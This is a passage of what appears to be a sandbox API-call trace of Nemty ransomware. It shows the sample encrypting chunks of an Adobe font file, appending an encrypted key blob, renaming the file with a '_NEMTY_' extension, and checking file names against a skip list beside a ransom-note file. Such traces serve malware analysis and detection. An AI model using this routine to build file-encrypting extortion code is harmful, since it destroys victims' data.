lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozMinPr6N-Regular.otf", lpUsedDefaultChar=0x0) returned 22 [0194.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozMinPr6N-Regular.otf", lpUsedDefaultChar=0x0) returned 22 [0194.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94220 [0194.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94390 | out: hHeap=0x4f90000) returned 1 [0194.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942d8 [0194.970] Sleep (dwMilliseconds=0x5) [0194.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27dd86d0, dwHighDateTime=0x1d561e8)) [0194.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27dd86d0, dwHighDateTime=0x1d561e8)) [0194.982] GetLastError () returned 0x0 [0194.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.982] GetLastError () returned 0x0 [0194.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.983] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0194.983] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="m1CzsEFG0Cn65qmgBpGxNInXJAXT706FxNC2KnAfUvpZ2aBm5L26A9nA6bJGsy5L\r\nkA5kWdWplyvdvBZ1nJvCWJVLYvtynzWfnIZF6kQjh66hGAu/YbKasCKpaWxt7b1a\r\nhSEUw8RiouDADBoqzdPTgNInrlhEsaUFKMrLSqAcUIR4tGbdbvRuhSFZn0ESvyAI\r\nkWTRFG18BslbtgvwWeFgmkmVN8y+feRVV/u7gghHvZgawcNRbWGB00fy/5CzQmBk\r\nNnaVEL37kFGdCCaf4rcmpMelz1wiED50QagNU+QuT34h6Ca0efp3yTN8qPzn0Fof\r\ncseAvxoNtO5HQpZ2VO/Zhg==\r\n", pcchString=0x653e91c) returned 1 [0194.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0194.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.984] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8134748) returned 1 [0194.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0194.985] SetFilePointer (in: hFile=0x254, lDistanceToMove=2467374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25a62e [0194.985] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.997] SetFilePointer (in: hFile=0x254, lDistanceToMove=2467374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25a62e [0194.998] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.998] SetFilePointer (in: hFile=0x254, lDistanceToMove=2627374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x28172e [0194.998] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.009] SetFilePointer (in: hFile=0x254, lDistanceToMove=2627374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x28172e [0195.009] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.010] SetFilePointer (in: hFile=0x254, lDistanceToMove=2787374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a882e [0195.010] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.023] SetFilePointer (in: hFile=0x254, lDistanceToMove=2787374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a882e [0195.023] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.023] SetFilePointer (in: hFile=0x254, lDistanceToMove=2947374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf92e [0195.023] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.035] SetFilePointer (in: hFile=0x254, lDistanceToMove=2947374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf92e [0195.035] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.036] SetFilePointer (in: hFile=0x254, lDistanceToMove=3107374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f6a2e [0195.036] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.055] SetFilePointer (in: hFile=0x254, lDistanceToMove=3107374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f6a2e [0195.055] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.056] SetFilePointer (in: hFile=0x254, lDistanceToMove=3267374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x31db2e [0195.056] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.068] SetFilePointer (in: hFile=0x254, lDistanceToMove=3267374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x31db2e [0195.068] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.069] SetFilePointer (in: hFile=0x254, lDistanceToMove=3427374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x344c2e [0195.069] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.082] SetFilePointer (in: hFile=0x254, lDistanceToMove=3427374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x344c2e [0195.082] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.083] SetFilePointer (in: hFile=0x254, lDistanceToMove=3587374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36bd2e [0195.083] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.092] SetFilePointer (in: hFile=0x254, lDistanceToMove=3587374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36bd2e [0195.093] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.093] SetFilePointer (in: hFile=0x254, lDistanceToMove=3747374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x392e2e [0195.093] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.103] SetFilePointer (in: hFile=0x254, lDistanceToMove=3747374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x392e2e [0195.103] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.103] SetFilePointer (in: hFile=0x254, lDistanceToMove=3907374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3b9f2e [0195.103] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0195.115] SetFilePointer (in: hFile=0x254, lDistanceToMove=3907374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3b9f2e [0195.115] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0195.116] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.116] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0195.124] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.124] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0195.124] SetFilePointer (in: hFile=0x254, lDistanceToMove=8032348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a905c [0195.125] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0195.133] SetFilePointer (in: hFile=0x254, lDistanceToMove=8032348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a905c [0195.133] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0195.133] SetFilePointer (in: hFile=0x254, lDistanceToMove=8134748, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c205c [0195.134] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0195.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.134] CloseHandle (hObject=0x254) returned 1 [0195.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0195.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0195.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0195.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0195.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0195.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0195.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0195.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0195.134] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf._nemty_kgobjgd_")) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.135] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276420b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x276420b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x276420b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0195.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0195.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0195.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0195.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0195.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0195.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0195.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0195.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0195.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0195.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0195.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0195.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.137] WideCharToMultiByte (in: CodePage=0xfde9, 